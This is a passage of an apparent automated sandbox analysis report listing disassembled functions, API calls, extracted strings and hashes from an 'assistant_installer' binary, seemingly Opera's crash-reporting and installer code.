                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007183B7
                                                                                                                                                                                                                  • Part of subcall function 006F3696: _strlen.LIBCMT ref: 006F36AD
                                                                                                                                                                                                                  • Part of subcall function 00730AA2: _strlen.LIBCMT ref: 00730AAD
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007187E1
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0071886C
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00718903
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00718940
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718A1B
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718A49
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718A5B
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718A89
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718A9B
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718AC9
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718ADB
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718B09
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718B1B
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718B49
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718B5B
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718B89
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718B9B
                                                                                                                                                                                                                  • Part of subcall function 008294E7: EnterCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 008294F2
                                                                                                                                                                                                                  • Part of subcall function 008294E7: LeaveCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 0082952F
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718BC9
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718BDB
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718C09
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718C1B
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718C49
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718C5B
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718C8C
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718C9E
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718CCF
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718CE1
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718D0F
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718D21
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718D4F
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00718D61
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00718D8F
                                                                                                                                                                                                                  • Part of subcall function 0082955D: EnterCriticalSection.KERNEL32(008A4FC0,?,?,0074B5A5,008A4C0C), ref: 00829567
                                                                                                                                                                                                                  • Part of subcall function 0082955D: LeaveCriticalSection.KERNEL32(008A4FC0,?,?,0074B5A5,008A4C0C), ref: 0082959A
                                                                                                                                                                                                                  • Part of subcall function 0082955D: WakeAllConditionVariable.KERNEL32(?,0074B5A5,008A4C0C), ref: 0082960D
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Init_thread_footerInit_thread_header$_strlen$CriticalSection$EnterLeave$ConditionCurrentProcessUnothrow_t@std@@@VariableWake__ehfuncinfo$??2@
                                                                                                                                                                                                                • String ID: BuildID$Email$InstallTime$OPERA_CRASH_EMAIL$OPERA_CRASH_KEEP_LOGS$OPERA_CRASH_ORIGIN$OPERA_CRASH_REPORTER_OPAUTO_TEST$OPERA_CRASH_SERVER_URL$OpAuto$Origin$ReleaseChannel$UBN$_crashreporter.exe$browser$channel$is_wow64$opauto_test$prod$ptype$symbols-package$user-data-dir$ver
                                                                                                                                                                                                                • API String ID: 1984183743-854346390
                                                                                                                                                                                                                • Opcode ID: 2918555dba06350c6f80501fe595458e194d1fd6cec0dbbe104f7cbc82473ab5
                                                                                                                                                                                                                • Instruction ID: 7b79be416a4acc8e88735eaae98c69fc60c155076e03363209869def9ad6a52d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2918555dba06350c6f80501fe595458e194d1fd6cec0dbbe104f7cbc82473ab5
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B8721CB1904350DFEB10EB28EC46A6E77A0FF96310F044429F99597392DB39A985C793
                                                                                                                                                                                                                Function 007AC8A4 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 185pipefileCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1331 7ac8a4-7ac8bd 1332 7ac8c3-7ac8c9 1331->1332 1333 7ac8cb 1332->1333 1334 7ac8cd-7ac8f4 CreateFileW 1332->1334 1333->1334 1335 7ac95e-7ac97a SetNamedPipeHandleState 1334->1335 1336 7ac8f6-7ac901 GetLastError 1334->1336 1339 7aca73-7aca7f call 73be20 1335->1339 1340 7ac980-7ac99d TransactNamedPipe 1335->1340 1337 7ac907-7ac90d 1336->1337 1338 7aca25-7aca31 call 73be20 1336->1338 1344 7ac90f 1337->1344 1345 7ac911-7ac91c WaitNamedPipeW 1337->1345 1357 7aca6c-7aca6e 1338->1357 1358 7aca33-7aca57 call 73c840 call 73c9e0 1338->1358 1353 7aca81-7acaaa call 73c840 call 73c9e0 1339->1353 1354 7acaf6 1339->1354 1341 7acaac-7acab8 call 73be20 1340->1341 1342 7ac9a3-7ac9ac 1340->1342 1341->1354 1366 7acaba-7acae1 call 73c840 call 73c9e0 1341->1366 1348 7acaf8-7acafe call 7ac794 1342->1348 1349 7ac9b2-7ac9be call 73be20 1342->1349 1344->1345 1345->1332 1351 7ac91e-7ac92a call 73be20 1345->1351 1367 7acb01-7acb17 call 8294aa 1348->1367 1349->1354 1369 7ac9c4-7aca20 call 73bec0 call 6f1741 call 71a3e0 call 6f1741 call 71a3e0 call 73c2a0 1349->1369 1351->1357 1372 7ac930-7ac959 call 73c840 call 73c9e0 1351->1372 1385 7acae6-7acaf1 call 6f1741 call 73ca90 1353->1385 1354->1348 1357->1367 1387 7aca5c-7aca67 call 6f1741 call 73ca90 1358->1387 1366->1385 1369->1354 1372->1387 1385->1354 1387->1357
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileW.KERNELBASE ref: 007AC8EF
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007AC8F6
                                                                                                                                                                                                                • WaitNamedPipeW.KERNEL32(?,000000FF), ref: 007AC914
                                                                                                                                                                                                                • SetNamedPipeHandleState.KERNELBASE(00000000,?,00000000,00000000), ref: 007AC972
                                                                                                                                                                                                                • TransactNamedPipe.KERNELBASE(00000000,00000000,00000024,0076C428,0000000C,?,00000000), ref: 007AC995
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: NamedPipe$CreateErrorFileHandleLastStateTransactWait
                                                                                                                                                                                                                • String ID: , observed $../../third_party/crashpad/crashpad/util/win/registration_protocol_win.cc$CreateFile$SetNamedPipeHandleState$TransactNamedPipe$TransactNamedPipe: expected $WaitNamedPipe
                                                                                                                                                                                                                • API String ID: 3582518244-3702053020
                                                                                                                                                                                                                • Opcode ID: 6c4025ce946046c3075ad429d764e911540ec23d23f63e1fdb33beb04c8530fb
                                                                                                                                                                                                                • Instruction ID: 241f89a6ce4960072ec17f41454f4833ff5375b20b0a54ef3d443caa0f4b0e98
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6c4025ce946046c3075ad429d764e911540ec23d23f63e1fdb33beb04c8530fb
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9851EC61A40318FAFB21F7609C0BFBE775AAF81710F044155FA49BA2C3D7B95A448762
                                                                                                                                                                                                                Function 0070FBFA Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 357COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1406 70fbfa-70fc26 1407 70fc28-70fc3c call 738b80 1406->1407 1408 70fc3e-70fc42 call 737c80 1406->1408 1412 70fc47-70fc51 1407->1412 1408->1412 1413 70fc53 1412->1413 1414 70fc57-70fc59 1412->1414 1413->1414 1415 70fc8a-70fc90 1414->1415 1416 70fc5b-70fc67 call 738b80 1414->1416 1417 70fc92-70fca4 1415->1417 1418 70fcb5-70fccb call 737c80 call 740ee0 1415->1418 1423 70fc6c-70fc89 call 737d90 call 8294aa 1416->1423 1420 70fe29 1417->1420 1421 70fcaa-70fcb0 1417->1421 1430 70fcd0-70fcd5 1418->1430 1424 70fe2c-70fe6a call 749420 call 8442d0 call 749420 1420->1424 1421->1424 1448 70fe78-70fe9a 1424->1448 1449 70fe6c-70fe74 1424->1449 1433 70ff35-70ff37 call 737c80 1430->1433 1434 70fcdb-70fd03 call 6f3696 call 712c10 1430->1434 1442 70ff3c-70ff45 call 737d90 1433->1442 1450 70fd05-70fd0b call 8442d0 1434->1450 1451 70fd0e-70fd2b call 747bc0 call 712ccb 1434->1451 1457 70ff4a-70ff4e 1442->1457 1452 70fea0-70feba 1448->1452 1453 70ff6e-70ff87 call 70f8e0 1448->1453 1449->1448 1450->1451 1482 70fd38-70fd63 call 747bc0 call 70f9f0 1451->1482 1483 70fd2d-70fd36 call 8442d0 1451->1483 1454 70fec4-70fed7 1452->1454 1455 70febc-70febf 1452->1455 1471 70ff89-70ff90 1453->1471 1472 70ffca-70ffcf call 737c80 1453->1472 1461 70feda-70fedf 1454->1461 1460 70ffc4-70ffc8 1455->1460 1463 70ff50-70ff66 1457->1463 1464 70ffb9-70ffc0 1457->1464 1469 71000a-71001c call 737cd0 1460->1469 1461->1464 1467 70fee5 1461->1467 1463->1469 1470 70ff6c 1463->1470 1464->1460 1474 70fee6-70fee9 1467->1474 1484 710021-710026 1469->1484 1470->1453 1477 70ff92 1471->1477 1478 70ff96-70ffb7 call 731ea8 1471->1478 1479 70ffd4-70ffdd 1472->1479 1480 70fef8-70feff 1474->1480 1481 70feeb-70fef1 1474->1481 1477->1478 1478->1479 1486 70ffef-70fff1 1479->1486 1487 70ffdf-70ffec call 82945e 1479->1487 1490 70ff00-70ff02 1480->1490 1481->1474 1488 70fef3 1481->1488 1510 70fd65-70fd69 1482->1510 1511 70fd6d-70fd85 call 747bc0 1482->1511 1483->1482 1492 710034-710039 1484->1492 1493 710028-710031 call 82945e 1484->1493 1486->1484 1496 70fff3-710006 1486->1496 1487->1486 1488->1464 1490->1457 1498 70ff04-70ff1a 1490->1498 1492->1423 1501 71003f-71004b call 82945e 1492->1501 1493->1492 1496->1469 1498->1490 1503 70ff1c-70ff2e 1498->1503 1501->1423 1503->1461 1508 70ff30 1503->1508 1508->1464 1510->1511 1514 70fd93-70fdb7 1511->1514 1515 70fd87-70fd90 call 82945e 1511->1515 1517 70fdd5-70fe12 call 739d80 call 737dd0 call 737d90 call 737ca0 1514->1517 1518 70fdb9-70fdbc 1514->1518 1515->1514 1517->1442 1531 70fe18-70fe24 call 82945e 1517->1531 1520 70fdc1-70fdc4 1518->1520 1521 70fdbe 1518->1521 1520->1518 1523 70fdc6-70fdd2 1520->1523 1521->1520 1523->1517 1531->1442
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0070FD06
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0070FD2E
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0070FE4D
                                                                                                                                                                                                                  • Part of subcall function 0070F8E0: GetUserNameW.ADVAPI32(?,?), ref: 0070F91D
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen$NameUser
                                                                                                                                                                                                                • String ID: <USERNAME>$data$profile${CompanyName}${CompanyName}/{ProductName} {InternalStream}${InternalStream}${ProductName}
                                                                                                                                                                                                                • API String ID: 1881245836-2942531514
                                                                                                                                                                                                                • Opcode ID: 51caf84887f7b712fc716e3bcc47e73cda90faad2c1fe137cf9aea18795d38eb
                                                                                                                                                                                                                • Instruction ID: 88b1b820225ef64b3548c3cd2e1f301c6df826b83a59ff2ad8a7a1813b1cee3b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 51caf84887f7b712fc716e3bcc47e73cda90faad2c1fe137cf9aea18795d38eb
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F6D1E0B1508351EBDB20DF14C881A6BFBE4AFD2754F04492DF8C497282D779E949CB92
                                                                                                                                                                                                                Function 0073BF60 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 265timeCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1745 73bf60-73bf8b 1746 73bf98 1745->1746 1747 73bf8d-73bf96 call 8442d0 1745->1747 1749 73bf9a-73bfb5 call 745530 1746->1749 1747->1749 1753 73bfb7-73bfbd 1749->1753 1754 73bfd6 1749->1754 1755 73bfc3-73bfd4 1753->1755 1756 73c295-73c298 1753->1756 1757 73bfda-73c004 call 6f1741 1754->1757 1755->1757 1760 73c006-73c028 call 8442d0 call 6f1741 * 2 1757->1760 1761 73c02b-73c034 1757->1761 1760->1761 1763 73c036-73c05b call 776720 call 776700 call 6f1741 1761->1763 1764 73c05e-73c069 1761->1764 1763->1764 1766 73c06b-73c086 call 711c60 call 71a3e0 call 6f1741 1764->1766 1767 73c089-73c090 1764->1767 1766->1767 1772 73c096-73c188 GetLocalTime call 71a020 * 2 call 6f1741 call 71a020 * 3 call 6f1741 call 71a020 call 6f1741 1767->1772 1773 73c18b-73c192 1767->1773 1772->1773 1776 73c1b5-73c1ba 1773->1776 1777 73c194-73c1b2 GetTickCount call 71a7a0 call 6f1741 1773->1777 1783 73c1eb-73c203 call 6f1741 call 71a200 1776->1783 1784 73c1bc-73c1c6 1776->1784 1777->1776 1806 73c208-73c260 call 6f1741 call 744e00 call 6f1741 call 71a200 call 6f1741 call 6f5604 1783->1806 1791 73c1c8 1784->1791 1792 73c1cf-73c1e9 call 8442d0 call 6f1741 1784->1792 1791->1792 1792->1806 1834 73c262-73c268 1806->1834 1835 73c26a-73c27d call 82945e 1806->1835 1836 73c280-73c292 call 8294aa 1834->1836 1835->1836
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0073BF8E
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0073C007
                                                                                                                                                                                                                • GetLocalTime.KERNEL32(0000005B,?,?,?,?,?,?,?,00000198,?,?,0073BF52,00000198,?,?), ref: 0073C0A1
                                                                                                                                                                                                                • GetTickCount.KERNEL32 ref: 0073C194
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0073C1D0
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen$CountLocalTickTime
                                                                                                                                                                                                                • String ID: )] $:$:$UNKNOWN$VERBOSE
                                                                                                                                                                                                                • API String ID: 3535325690-776901039
                                                                                                                                                                                                                • Opcode ID: a22d686fb049aa43d268c8e6b3372a04c077bb96e2a88b4bb6138ecbed5b163e
                                                                                                                                                                                                                • Instruction ID: 037e7cf8d723f9366ff824f9ef31c80ca16491758abafb80cb1da1e8bcc0422d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a22d686fb049aa43d268c8e6b3372a04c077bb96e2a88b4bb6138ecbed5b163e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1791C4B1A04300AFE710FB349C86B2BBBA9BB85754F04491CF9555B382EB7999048B62
                                                                                                                                                                                                                Function 007ACBC3 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1841 7acbc3-7acbe7 call 7acf00 1844 7acbed-7acc08 1841->1844 1845 7acdd2-7acdd7 1841->1845 1846 7acc0a-7acc15 1844->1846 1847 7acc4c-7acc60 call 8294e7 1844->1847 1849 7acc17-7acc19 1846->1849 1850 7acc25-7acc2c 1846->1850 1847->1846 1856 7acc62-7acc87 ConvertStringSecurityDescriptorToSecurityDescriptorW 1847->1856 1851 7acc1b-7acc23 1849->1851 1852 7acc34-7acc4b call 8294aa 1849->1852 1850->1852 1853 7acc2e 1850->1853 1851->1852 1853->1852 1858 7acc8d-7accfd BuildExplicitAccessWithNameW BuildSecurityDescriptorW 1856->1858 1859 7acd55-7acd61 call 73be20 1856->1859 1861 7acd9a-7acda3 1858->1861 1862 7acd03-7acd18 SetLastError call 73be20 1858->1862 1866 7acdba-7acdcd call 82955d 1859->1866 1868 7acd63-7acd98 call 73c840 call 73c9e0 call 6f1741 call 73ca90 1859->1868 1863 7acda7-7acdac 1861->1863 1862->1863 1873 7acd1e-7acd53 call 73c840 call 73c9e0 call 6f1741 call 73ca90 1862->1873 1863->1866 1867 7acdae-7acdb7 call 7d6608 1863->1867 1866->1846 1867->1866 1868->1866 1873->1863
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 007ACC51
                                                                                                                                                                                                                • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(D:(A;;GA;;;SY)(A;;GWGR;;;S-1-15-2-1)S:(ML;;;;;S-1-16-0),00000001,?,00000000), ref: 007ACC80
                                                                                                                                                                                                                • BuildExplicitAccessWithNameW.ADVAPI32(?,?,10000000,00000001,00000000), ref: 007ACCD1
                                                                                                                                                                                                                • BuildSecurityDescriptorW.ADVAPI32(00000000,00000000,00000001,?,00000000,00000000,?,?,?), ref: 007ACCF5
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 007ACD04
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 007ACDC5
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • BuildSecurityDescriptor, xrefs: 007ACD3E
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/win/registration_protocol_win.cc, xrefs: 007ACD2E, 007ACD73
                                                                                                                                                                                                                • D:(A;;GA;;;SY)(A;;GWGR;;;S-1-15-2-1)S:(ML;;;;;S-1-16-0), xrefs: 007ACC7B
                                                                                                                                                                                                                • ConvertStringSecurityDescriptorToSecurityDescriptor, xrefs: 007ACD83
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: DescriptorSecurity$Build$AccessConvertErrorExplicitInit_thread_footerInit_thread_headerLastNameStringWith
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/registration_protocol_win.cc$BuildSecurityDescriptor$ConvertStringSecurityDescriptorToSecurityDescriptor$D:(A;;GA;;;SY)(A;;GWGR;;;S-1-15-2-1)S:(ML;;;;;S-1-16-0)
                                                                                                                                                                                                                • API String ID: 1468532445-440191626
                                                                                                                                                                                                                • Opcode ID: c99eaf299da08218d8f7b4ccf9c2d95506043cca59178b02d88891c19a5955b8
                                                                                                                                                                                                                • Instruction ID: 6bb46e17666a71803fec50e657406feaa45c9a390e5f92523b152deb0ab257b4
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c99eaf299da08218d8f7b4ccf9c2d95506043cca59178b02d88891c19a5955b8
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 78511870604344FBEB21EB24DC06FAB77A9FFC6710F004629F9899B291EB749945C762
                                                                                                                                                                                                                Function 0083C5CC Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 2248 83c5cc-83c5fc call 83ca4c 2251 83c617-83c623 call 83b457 2248->2251 2252 83c5fe-83c609 call 83a805 2248->2252 2257 83c625-83c63a call 83a805 call 83a7f2 2251->2257 2258 83c63c-83c670 call 83c9b7 2251->2258 2259 83c60b-83c612 call 83a7f2 2252->2259 2257->2259 2264 83c675-83c685 2258->2264 2269 83c8f1-83c8f5 2259->2269 2267 83c6f2-83c6fb GetFileType 2264->2267 2268 83c687-83c690 2264->2268 2270 83c744-83c747 2267->2270 2271 83c6fd-83c72e GetLastError call 83a818 CloseHandle 2267->2271 2273 83c692-83c696 2268->2273 2274 83c6c7-83c6ed GetLastError call 83a818 2268->2274 2276 83c750-83c756 2270->2276 2277 83c749-83c74e 2270->2277 2271->2259 2285 83c734-83c73f call 83a7f2 2271->2285 2273->2274 2278 83c698-83c6c5 call 83c9b7 2273->2278 2274->2259 2282 83c75a-83c7a8 call 83b5fb 2276->2282 2283 83c758 2276->2283 2277->2282 2278->2267 2278->2274 2291 83c7c7-83c7ef call 83cc70 2282->2291 2292 83c7aa-83c7b6 call 83cbc6 2282->2292 2283->2282 2285->2259 2298 83c7f1-83c7f2 2291->2298 2299 83c7f4-83c835 2291->2299 2292->2291 2297 83c7b8 2292->2297 2300 83c7ba-83c7c2 call 838191 2297->2300 2298->2300 2301 83c837-83c83b 2299->2301 2302 83c856-83c864 2299->2302 2300->2269 2301->2302 2304 83c83d-83c851 2301->2304 2305 83c86a-83c86e 2302->2305 2306 83c8ef 2302->2306 2304->2302 2305->2306 2308 83c870-83c8a3 CloseHandle call 83c9b7 2305->2308 2306->2269 2311 83c8d7-83c8eb 2308->2311 2312 83c8a5-83c8d1 GetLastError call 83a818 call 83b56a 2308->2312 2311->2306 2312->2311
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0083C9B7: CreateFileW.KERNELBASE(00000000,00000000,?,0083C675,?,?,00000000,?,0083C675,00000000,0000000C), ref: 0083C9D4
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0083C6E0
                                                                                                                                                                                                                • __dosmaperr.LIBCMT ref: 0083C6E7
                                                                                                                                                                                                                • GetFileType.KERNEL32(00000000), ref: 0083C6F3
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0083C6FD
                                                                                                                                                                                                                • __dosmaperr.LIBCMT ref: 0083C706
                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 0083C726
                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 0083C873
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0083C8A5
                                                                                                                                                                                                                • __dosmaperr.LIBCMT ref: 0083C8AC
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
